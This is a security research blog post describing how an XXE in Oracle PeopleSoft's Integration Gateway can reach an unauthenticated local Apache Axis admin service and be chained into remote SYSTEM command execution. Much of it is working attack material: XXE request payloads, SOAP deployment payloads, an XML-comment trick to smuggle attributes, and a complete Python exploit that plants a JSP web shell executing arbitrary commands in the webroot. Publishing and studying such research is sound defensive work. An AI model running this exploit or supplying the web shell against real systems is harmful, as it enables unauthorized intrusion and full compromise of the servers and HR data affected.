Polygonal Background
17 May, 2017
  • Posted By Charles Fol
  • oracle peoplesoft xxe exploit vulnerability details system shell
Full Article

Oracle PeopleSoft

I had the chance, a few months ago, to audit several Oracle PeopleSoft solutions, including PeopleSoft HRMS and PeopleTool. Despite several undocumented CVEs, the Internet did not have much to offer on how to attack the software, except for the very informative talk from ERPScan at HITB from two years ago. From the slides, it was clear PeopleSoft was a nest of vulnerabilities, despite not having lots of public information about them.

PeopleSoft applications contain a lot of different endpoints, many of which are unauthenticated. Many services also happen to use defaut passwords, probably as a result of the need for interconnectivity. As a result, it is very shaky security-wise, and the exploitation vectors seem to be everywhere.

This article shows a generic way (read: probably affecting every PeopleSoft version) for converting an XXE into running commands as SYSTEM.

XXE: Accessing the local network

Multiple XXEs are known, such as CVE-2013-3800 or CVE-2013-3821. The last documented example is ERPScan's CVE-2017-3548. Generally, they can be used to extract the credentials for PeopleSoft and WebLogic consoles, but the two consoles do not provide an easy way of getting a shell. Furthermore, since the last XXE is blind, and we're assuming a firewalled network, we assume for this article that we cannot easily extract data from local files.

CVE-2013-3821 - Integration Gateway HttpListeningConnector XXE

POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://localhost:51420">
]>
<IBRequest>
   <ExternalOperationName>&x;</ExternalOperationName>
   <OperationType/>
   <From><RequestingNode/>
      <Password/>
      <OrigUser/>
      <OrigNode/>
      <OrigProcess/>
      <OrigTimeStamp/>
   </From>
   <To>
      <FinalDestination/>
      <DestinationNode/>
      <SubChannel/>
   </To>
   <ContentSections>
      <ContentSection>
         <NonRepudiation/>
         <MessageVersion/>
         <Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
         </Data>
      </ContentSection>
   </ContentSections>
</IBRequest>

CVE-2017-3548 - Integration Gateway PeopleSoftServiceListeningConnector XXE

POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...

<!DOCTYPE a PUBLIC "-//B/A/EN" "C:\windows">

Instead, we'll use XXEs as a way to reach various services from localhost, possibly bypassing firewall rules or authorization checks. The only slight problem is finding the local port it's bound to. We can get it upon reaching the main page, through cookies:

Set-Cookie: SNP2118-51500-PORTAL-PSJSESSIONID=9JwqZVxKjzGJn1s5DLf1t46pz91FFb3p!-1515514079;

In this case, the port is 51500. We can reach the app from the inside via http://localhost:51500/.

Apache Axis

One of the many unauthenticated services is an Apache Axis 1.4 server, under the URL http://website.com/pspc/services. Apache Axis allows you to build SOAP endpoints from Java classes, by generating their WSDL along with helper code to interact with them. In order to administer it, one must interact with the AdminService present at this URL: http://website.com/pspc/services/AdminService.

Axis Services

As an example, here's how an administrator would create an endpoint based on the java.util.Random class:

POST /pspc/services/AdminService
Host: website.com
SOAPAction: something
Content-Type: application/xml
...

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <ns1:deployment
            xmlns="http://xml.apache.org/axis/wsdd/"
            xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
            xmlns:ns1="http://xml.apache.org/axis/wsdd/">
            <ns1:service name="RandomService" provider="java:RPC">
                <ns1:parameter name="className" value="java.util.Random"/>
                <ns1:parameter name="allowedMethods" value="*"/>
            </ns1:service>
        </ns1:deployment>
    </soapenv:Body>
</soapenv:Envelope>

Every public method of java.util.Random would therefore be available as a webservice. Calling Random.nextInt() via a SOAP call would look like this:

POST /pspc/services/RandomService
Host: website.com
SOAPAction: something
Content-Type: application/xml
...

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <api:nextInt />
    </soapenv:Body>
</soapenv:Envelope>

And it would respond:

HTTP/1.1 200 OK
...

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
    xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
    <soapenv:Body>
        <ns1:nextIntResponse
            soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
            xmlns:ns1="http://127.0.0.1/Integrics/Enswitch/API">
            <nextIntReturn href="#id0"/>
        </ns1:nextIntResponse>
        <multiRef id="id0" soapenc:root="0"
            soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
            xsi:type="xsd:int"
            xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
            1244788438 <!-- Here's our random integer -->
        </multiRef>
    </soapenv:Body>
</soapenv:Envelope>

This administration endpoint is blocked for external IPs, but does not require a password when reached from localhost. That makes it a perfect candidate for exploitation. Since we're using an XXE, using POST requests is not possible, and we need a way to convert our SOAP payloads into GET.

Axis: POST to GET

The Axis API allows us to send GET requests. It takes given URL parameters and converts them into a SOAP payload. Here's the code responsible for converting GET parameters into an XML payload, from Axis' source code.

public class AxisServer extends AxisEngine {
    [...]
    {
        String method = null;
        String args = "";
        Enumeration e = request.getParameterNames();

        while (e.hasMoreElements()) {
            String param = (String) e.nextElement();
            if (param.equalsIgnoreCase ("method")) {
                method = request.getParameter (param);
            }

            else {
                args += "<" + param + ">" + request.getParameter (param) +
                        "</" + param + ">";
            }
        }

        String body = "<" + method + ">" + args + "</" + method + ">";
        String msgtxt = "<SOAP-ENV:Envelope" +
                " xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\">" +
                "<SOAP-ENV:Body>" + body + "</SOAP-ENV:Body>" +
                "</SOAP-ENV:Envelope>";
    }
}

To understand how it works, it's again better to use an example:

 GET /pspc/services/SomeService
     ?method=myMethod
     &parameter1=test1
     &parameter2=test2

is equivalent to:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <myMethod>
            <parameter1>test1</parameter1>
            <parameter2>test2</parameter2>
        </myMethod>
    </soapenv:Body>
</soapenv:Envelope>

Nevertheless, a problem arises when we try to setup a new endpoint using this method: our XML tags must have attributes, and the code does not allow it. When we try and add them to the GET request, for instance:

 GET /pspc/services/SomeService
     ?method=myMethod+attr0="x"
     &parameter1+attr1="y"=test1
     &parameter2=test2

Here's what we end up with:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <myMethod attr0="x">
            <parameter1 attr1="y">test1</parameter1 attr1="y">
            <parameter2>test2</parameter2>
        </myMethod attr0="x">
    </soapenv:Body>
</soapenv:Envelope>

Evidently, this is not valid XML, and our request gets rejected. If we put our whole payload in the method parameter, like so:

 GET /pspc/services/SomeService
     ?method=myMethod+attr="x"><test>y</test></myMethod

This happens:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <myMethod attr="x"><test>y</test></myMethod>
        </myMethod attr="x"><test>y</test></myMethod>
    </soapenv:Body>
</soapenv:Envelope>

Our payload is therefore used twice, once prefixed by <, and once prefixed by </. The solution comes from playing with XML comments:

 GET /pspc/services/SomeService
     ?method=!--><myMethod+attr="x"><test>y</test></myMethod

We get:

<?xml version="1.0" encoding="utf-8"?>
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
    <soapenv:Body>
        <!--><myMethod attr="x"><test>y</test></myMethod>
        </!--><myMethod attr="x"><test>y</test></myMethod>
    </soapenv:Body>
</soapenv:Envelope>

Due to the !--> prefix we added, the first payload begins with <!--, which is the start of an XML comment. The second line starts with </!, followed by -->, which is the end of the comment. The first line is therefore ignored and our payload is now only interpreted once.

From this, we can convert any SOAP request from POST to GET, which means we can deploy any class as an Axis Service, using the XXE to bypass the IP check.

Axis: Gadgets

Apache Axis does not allow us to upload our own Java classes when deploying them; we must therefore work with already available ones. After some research in PeopleSoft's pspc.war, which contains the Axis instance, it appears the Deploy class of the org.apache.pluto.portalImpl package contains interesting methods. First, addToEntityReg(String[] args) allows us to add arbitrary data at the end of an XML file. Second, copy(file1, file2) allows us to copy it anywhere. This is enough to get a shell, by inserting a JSP payload in our XML, and copying it into the webroot.

As expected, PeopleSoft runs as SYSTEM. This results in an unauthenticated remote SYSTEM exploit, just from an XXE.

nt authority\system

Exploit

This exploitation vector should be more or less generic to every recent PeopleSoft version. The XXE endpoint just needs to be modified.

#!/usr/bin/python3
# Oracle PeopleSoft SYSTEM RCE
# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
# cf
# 2017-05-17

import requests
import urllib.parse
import re
import string
import random
import sys


from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)


try:
    import colorama
except ImportError:
    colorama = None
else:
    colorama.init()

    COLORS = {
        '+': colorama.Fore.GREEN,
        '-': colorama.Fore.RED,
        ':': colorama.Fore.BLUE,
        '!': colorama.Fore.YELLOW
    }


URL = sys.argv[1].rstrip('/')
CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy'
PROXY = 'localhost:8080'

# shell.jsp?c=whoami
PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>'


class Browser:
    """Wrapper around requests.
    """

    def __init__(self, url):
        self.url = url
        self.init()

    def init(self):
        self.session = requests.Session()
        self.session.proxies = {
            'http': PROXY,
            'https': PROXY
        }
        self.session.verify = False

    def get(self, url ,*args, **kwargs):
        return self.session.get(url=self.url + url, *args, **kwargs)

    def post(self, url, *args, **kwargs):
        return self.session.post(url=self.url + url, *args, **kwargs)

    def matches(self, r, regex):
        return re.findall(regex, r.text)


class Recon(Browser):
    """Grabs different informations about the target.
    """

    def check_all(self):
        self.site_id = None
        self.local_port = None
        self.check_version()
        self.check_site_id()
        self.check_local_infos()

    def check_version(self):
        """Grabs PeopleTools' version.
        """
        self.version = None
        r = self.get('/PSEMHUB/hub')
        m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).</b>')

        if m:
            self.version = m[0]
            o(':', 'PTools version: %s' % self.version)
        else:
            o('-', 'Unable to find version')

    def check_site_id(self):
        """Grabs the site ID and the local port.
        """
        if self.site_id:
            return

        r = self.get('/')
        m = self.matches(r, '/([^/]+)/signon.html')

        if not m:
            raise RuntimeError('Unable to find site ID')

        self.site_id = m[0]
        o('+', 'Site ID: ' + self.site_id)

    def check_local_infos(self):
        """Uses cookies to leak hostname and local port.
        """
        if self.local_port:
            return

        r = self.get('/psp/%s/signon.html' % self.site_id)

        for c, v in self.session.cookies.items():
            if c.endswith('-PORTAL-PSJSESSIONID'):
                self.local_host, self.local_port, *_ = c.split('-')
                o('+', 'Target: %s:%s' % (self.local_host, self.local_port))
                return

        raise RuntimeError('Unable to get local hostname / port')


class AxisDeploy(Recon):
    """Uses the XXE to install Deploy, and uses its two useful methods to get
    a shell.
    """

    def init(self):
        super().init()
        self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10)

    def random_string(self, size):
        return ''.join(random.choice(string.ascii_letters) for _ in range(size))

    def url_service(self, payload):
        return 'http://localhost:%s/pspc/services/AdminService?method=%s' % (
            self.local_port,
            urllib.parse.quote_plus(self.psoap(payload))
        )

    def war_path(self, name):
        # This is just a guess from the few PeopleSoft instances we audited.
        # It might be wrong.
        suffix = '.war' if self.version and self.version >= '8.50' else ''
        return './applications/peoplesoft/%s%s' % (name, suffix)

    def pxml(self, payload):
        """Converts an XML payload into a one-liner.
        """
        payload = payload.strip().replace('\n', ' ')
        payload = re.sub('\s+<', '<', payload, flags=re.S)
        payload = re.sub('\s+', ' ', payload, flags=re.S)
        return payload

    def psoap(self, payload):
        """Converts a SOAP payload into a one-liner, including the comment trick
        to allow attributes.
        """
        payload = self.pxml(payload)
        payload = '!-->%s' % payload[:-1]
        return payload

    def soap_service_deploy(self):
        """SOAP payload to deploy the service.
        """
        return """
        <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
            <ns1:service name="%s" provider="java:RPC">
                <ns1:parameter name="className" value="%s"/>
                <ns1:parameter name="allowedMethods" value="*"/>
            </ns1:service>
        </ns1:deployment>
        """ % (self.service_name, CLASS_NAME)

    def soap_service_undeploy(self):
        """SOAP payload to undeploy the service.
        """
        return """
        <ns1:undeployment xmlns="http://xml.apache.org/axis/wsdd/"
        xmlns:ns1="http://xml.apache.org/axis/wsdd/">
        <ns1:service name="%s"/>
        </ns1:undeployment>
        """ % (self.service_name, )

    def xxe_ssrf(self, payload):
        """Runs the given AXIS deploy/undeploy payload through the XXE.
        """
        data = """
        <?xml version="1.0"?>
        <!DOCTYPE IBRequest [
        <!ENTITY x SYSTEM "%s">
        ]>
        <IBRequest>
           <ExternalOperationName>&x;</ExternalOperationName>
           <OperationType/>
           <From><RequestingNode/>
              <Password/>
              <OrigUser/>
              <OrigNode/>
              <OrigProcess/>
              <OrigTimeStamp/>
           </From>
           <To>
              <FinalDestination/>
              <DestinationNode/>
              <SubChannel/>
           </To>
           <ContentSections>
              <ContentSection>
                 <NonRepudiation/>
                 <MessageVersion/>
                 <Data>
                 </Data>
              </ContentSection>
           </ContentSections>
        </IBRequest>
        """ % self.url_service(payload)
        r = self.post(
            '/PSIGW/HttpListeningConnector',
            data=self.pxml(data),
            headers={
                'Content-Type': 'application/xml'
            }
        )

    def service_check(self):
        """Verifies that the service is correctly installed.
        """
        r = self.get('/pspc/services')
        return self.service_name in r.text

    def service_deploy(self):
        self.xxe_ssrf(self.soap_service_deploy())

        if not self.service_check():
            raise RuntimeError('Unable to deploy service')

        o('+', 'Service deployed')

    def service_undeploy(self):
        if not self.local_port:
            return

        self.xxe_ssrf(self.soap_service_undeploy())

        if self.service_check():
            o('-', 'Unable to undeploy service')
            return

        o('+', 'Service undeployed')

    def service_send(self, data):
        """Send data to the Axis endpoint.
        """
        return self.post(
            '/pspc/services/%s' % self.service_name,
            data=data,
            headers={
                'SOAPAction': 'useless',
                'Content-Type': 'application/xml'
            }
        )

    def service_copy(self, path0, path1):
        """Copies one file to another.
        """
        data = """
        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:copy
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <in0 xsi:type="xsd:string">%s</in0>
            <in1 xsi:type="xsd:string">%s</in1>
        </api:copy>
        </soapenv:Body>
        </soapenv:Envelope>
        """.strip() % (path0, path1)
        response = self.service_send(data)
        return '<ns1:copyResponse' in response.text

    def service_main(self, tmp_path, tmp_dir):
        """Writes the payload at the end of the .xml file.
        """
        data = """
        <?xml version="1.0" encoding="utf-8"?>
        <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:api="http://127.0.0.1/Integrics/Enswitch/API"
        xmlns:xsd="http://www.w3.org/2001/XMLSchema"
        xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Body>
        <api:main
        soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
            <api:in0>
                <item xsi:type="xsd:string">%s</item>
                <item xsi:type="xsd:string">%s</item>
                <item xsi:type="xsd:string">%s.war</item>
                <item xsi:type="xsd:string">something</item>
                <item xsi:type="xsd:string">-addToEntityReg</item>
                <item xsi:type="xsd:string"><![CDATA[%s]]></item>
            </api:in0>
        </api:main>
        </soapenv:Body>
        </soapenv:Envelope>
        """.strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD)
        response = self.service_send(data)

    def build_shell(self):
        """Builds a SYSTEM shell.
        """
        # On versions >= 8.50, using another extension than JSP got 70 bytes
        # in return every time, for some reason.
        # Using .jsp seems to trigger caching, thus the same pivot cannot be
        # used to extract several files.
        # Again, this is just from experience, nothing confirmed
        pivot = '/%s.jsp' % self.random_string(20)
        pivot_path = self.war_path('PSOL') + pivot
        pivot_url = '/PSOL' + pivot

        # 1: Copy portletentityregistry.xml to TMP

        per = '/WEB-INF/data/portletentityregistry.xml'
        per_path = self.war_path('pspc')
        tmp_path = '../' * 20 + 'TEMP'
        tmp_dir = self.random_string(20)
        tmp_per = tmp_path + '/' + tmp_dir + per

        if not self.service_copy(per_path + per, tmp_per):
            raise RuntimeError('Unable to copy original XML file')

        # 2: Add JSP payload
        self.service_main(tmp_path, tmp_dir)

        # 3: Copy XML to JSP in webroot
        if not self.service_copy(tmp_per, pivot_path):
            raise RuntimeError('Unable to copy modified XML file')

        response = self.get(pivot_url)

        if response.status_code != 200:
            raise RuntimeError('Unable to access JSP shell')

        o('+', 'Shell URL: ' + self.url + pivot_url)


class PeopleSoftRCE(AxisDeploy):
    def __init__(self, url):
        super().__init__(url)


def o(s, message):
    if colorama:
        c = COLORS[s]
        s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL
    print('%s %s' % (s, message))


x = PeopleSoftRCE(URL)

try:
    x.check_all()
    x.service_deploy()
    x.build_shell()
except RuntimeError as e:
    o('-', e)
finally:
    x.service_undeploy()